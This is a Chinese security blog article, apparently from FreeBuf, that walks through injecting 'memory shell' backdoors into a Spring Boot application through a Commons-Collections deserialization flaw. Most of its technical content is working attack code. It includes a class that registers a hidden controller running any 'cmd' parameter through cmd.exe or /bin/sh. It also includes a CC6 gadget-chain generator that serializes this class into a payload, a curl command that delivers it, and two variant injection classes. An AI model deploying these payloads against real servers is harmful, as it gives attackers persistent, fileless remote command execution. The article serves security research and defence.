freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
报告 专辑
行业服务
政 府
CNCERT CNNVD
会员体系（甲方） 会员体系（厂商） 产品名录 企业空间
知识大陆

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

spring回显方式在代码层面的复现(内存马系列篇十四)

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

spring回显方式在代码层面的复现(内存马系列篇十四)
RoboTerh 2022-11-03 19:27:33 284485
所属地 四川省

前言

在前面的一章中，主要在理论上进行了各种内存马的实现，这里就做为上一篇的补充，自己搭建反序列化的漏洞环境来进行上文中理论上内存马的注入实践。

这是内存马系列文章的第十四篇。

环境搭建

可以使用我用的漏洞环境

https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/controller/CommonsCollectionsVuln.java

或者自己搭建环境，使用：

  • spring-boot 2.5.0

  • commons-collections 3.2.1

我们使用commons-collections反序列化链作为一个反序列化漏洞的点，我们创建一个Controller类：

package com.roboterh.vuln.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }

    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

在/unser路由中获取了请求体输入流进行了反序列化调用。

正文

Way 1

这个内存马主要是在spring controller内存马注入中提到的方式，但是这里有一点不同的是，在直接使用前面的代码进行内存马注入的过程中，并不能够成功注入。

在debug过程中，发现是因为不能够找到他的构造方法而报错，更改后的注入方式。

1.首先是创建一个继承了AbstractTranslet类的一个类：

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class SpringMemshell extends AbstractTranslet {

    // 第一个构造函数
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = null;
        try {
            method2 = SpringMemshell.class.getMethod("test");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
        SpringMemshell evilController = new SpringMemshell();
        mappingHandlerMapping.registerMapping(info, evilController, method2);
    }

    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

直接我们使用CC6链进行注入：

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                bytes
        });
        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory;
        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
                ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);

        outerMap.remove("keykey");
        serialize(expMap);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }
}

之后，我们将我们生成的序列化数据存放在了1.ser文件中。

2.在得到序列化数据之后，运行漏洞环境，通过curl命令来发送序列化数据进行反序列化：

curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"

最后可以验证注入效果。

image-20221030201718864.png

能够成功注入，solve it !!

Way 2

way 1中是使用的通过

(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)

来获取的一个Child Context环境，进而操控RequestMappingHandlerMapping类对象，调用了其registerMapping进行路由的注册。

这里我们换用上篇文章中提到的ContextLoader.getCurrentWebApplicationContext()来测试是否能够成功注入。

在我简单的将前面获取上下文环境中的代码进行替换：

image-20221030205833366.png

发现并不能够注入，原因是因为在调用ContextLoader.getCurrentWebApplicationContext方法中，并没有得到上下文对象。

image-20221030205941688.png

那为什么不能够得到呢？

在上一篇中的讲解中我们从注释中也知道了ContextLoader类主要是通过ContextLoaderListener来进行初始化的工作的。

所以，只有配置了ContextLoaderListener这个监听器之后才可以使用这个类，我们环境中并没有进行配置，当然不能够获取到上下文环境捏！

但是在springboot中的解决方案官方主要是实现了一个ApplicationContextAware接口的类中设置一个存放上下文环境的属性。这里我们通过spring项目的web.xml来进行实验：

image-20221030211900568.png

在配置了该监听器之后，能够通过这种方式获取到上下文环境：

image-20221030211933172.png

但是在这里又遇到了问题，在获取RequestMappingHandlerMapping这个bean的时候提示找不到这个bean。

image-20221030212104790.png

那又是因为什么捏？

因为通过这种方式获取的Context是一个Root Context，对于Context来说，允许Child Context访问Root Context中的Bean，反之是不允许的。

所以我们想要使用这种方法获取该bean，不仅需要使用ContextLoaderListener这个监听器，还需要使得最低我们需要的RequestMappingHandlerMapping这个bean是存在于Root Context中，即是在applicationContext.xml中进行的配置。

总结一下，很明显，在能够获取Child Context的情况下，选择前者的方法更占优也更加普遍。

Way 3

这里对于way 1中的实现中的改造主要是在进行Controller的动态创建中，主要是利用了DefaultAnnotationHandlerMapping该映射器的特点，能够将注解转换成对应的映射关系。但是在高版本spring中已经不存在这个类了，被其他类给替换掉了。

给个小例子：

@Controller
public class SpringMemshell1 extends AbstractTranslet {
    static {
        // 1.获取上下文环境
        ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2.通过调用registerSingleton注册一个bean
        try {
            context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
        // 3.获取DefaultAnnotationHandlerMapping这个实现类
        DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
        // 4.反射获取对应的registerHandler
        try {
            Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
            // 5.调用该方法进行注册路由和handler
            registerHandler.setAccessible(true);
            System.out.println("try....");
            registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @RequestMapping("/RoboTerh")
    public void test(HttpServletRequest request, HttpServletResponse response) {
        //exec
        try {
            String arg0 = request.getParameter("cmd");
            System.out.println("RoboTerh....");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

Way 4

对于该方法相比较于Way 1中的构造也是变化在了Controller创建位置，

主要的点是在AbstractHandlerMethodMapping#detectHandlerMethods方法中：

image-20221031212424408.png

在使用CC6反序列化利用链进行内存马的注入过程中，在static代码块中进行了如下逻辑：

1.首先创建一个带有Controller注解的Singleton
PS:后面会有解析其中注解的逻辑

2.因为AbstractHandlerMethodMapping是一个抽象类，所以我们通过使用他的实现类RequestMappingHandlerMapping来反射获取对应的detectHandlerMethods方法
image-20221031213116346.png

3.最后反射调用这个方法，传入的参数是我们前面注册的一个handler

具体解析注解的逻辑如下：

1.首先通过调用MethodIntrospector.selectMethods进行解析对应的注解，返回了一个LinkedHashMap类对象：

image-20221031214504551.png

存放着方法和路由的映射关系

2.遍历这个Map，通过AOP实现获取可调用的方法对象。之后就是调用registerHandlerMethod方法，进行Controller注册的步骤了。

相比于Way 1那种内存马的实现，其实最后进行路由注册的API都是同一个，在Way 1中，直接是通过调用registerHandlerMethod方法，传入的是，自己构造的mapping / handler / method参数动态进行Controller的创建。

但是在该方法中，主要是通过自己通过构造一个带有Controller相关注解的类，调用detectHandlerMethods方法的方式自动进行注解的解析，生成了对应的方法和路由的映射

给出实验的代码：

// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通过调用registerSingleton注册一个bean
try {
    context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
    e.printStackTrace();
}
// 3.获取RequestMappingHandlerMapping这个实现类
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.反射获取对应的detectHandlerMethods
try {
    Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
    // 5.调用该方法进行注册路由和handler
    registerHandler.setAccessible(true);
    System.out.println("try....");
    registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
    e.printStackTrace();
}

image-20221031215551541.png

能够成功注入该内存马。

同样在控制台中也打印除了我内置的一个测试代码：

image-20221031215650303.png

image-20221031215709336.png

# web安全 # 网络安全技术
免责声明
1.一般免责声明：本文所提供的技术信息仅供参考，不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》，作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明：文中技术内容可能不适用于所有情况或系统，在实际应用前请充分测试和评估。若因使用不当造成的任何问题，相关方不承担责任。
3. 更新声明：技术发展迅速，文章内容可能存在滞后性。读者需自行判断信息的时效性，因依据过时内容产生的后果，作者及发布平台不承担责任。
本文为 RoboTerh 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
花样构造内存马
红队宝典
相关推荐
初涉内网，提权那些事 原创
初涉内网，提权那些事

Web安全

前段时间打了两个靶场 由于内网接触的不多 这里在结束之后 做了一下相关方面的知识整理，对于初涉内网的小白来说，可以作为一个较好的参考。

xixibdgrn

249173围观  · 7收藏  · 17喜欢 2022-11-08

Linux 内核Rootkit技术简介
Linux 内核Rootkit技术简介

工具

linux 内核rootkit技术简介。

FreeBuf_253313

245554围观  · 1收藏  · 4喜欢 2022-11-08

面试经典 Redis未授权漏洞与组合拳 原创
面试经典 Redis未授权漏洞与组合拳

漏洞

Redis 有关的漏洞具有明显的时间分段性，在15年11月之前，主要是未授权导致的数据泄露，获得一些账号密码。

may1as

385403围观  · 8收藏  · 37喜欢 2022-11-08

frp反向代理 原创
frp反向代理

Web安全

准备环境一台靶机一台攻击机器一台服务器一、搭建内网环境1.在靶机下载安装phpstudy_pro软件下载地址：https://www.xp....

小众安全

171769围观  · 2收藏 2022-11-08

Sangfor华东天勇战队：钓鱼学习-gophish使用案例
Sangfor华东天勇战队：钓鱼学习-gophish使用案例

网络安全

gophish为开源钓鱼工具，其在攻防演练中，对于群体发放钓鱼邮件起着重大的作用。

茄子不茄刚刚好

263585围观  · 1收藏  · 19喜欢 2022-11-08

RoboTerh LV.5
Q 2865153524
  • 39 文章数
  • 92 关注者
JSP型内存马的原理学习与实现
2023-09-08
攻防渗透 | WebsocketAndTimer内存马的查杀分析和代码实现
2023-07-16
ExecutorAndUpgrade内存马的查杀分析和代码实现
2023-07-05
文章目录
前言
    环境搭建
      正文
      • Way 1
      • Way 2
      • Way 3
      • Way 4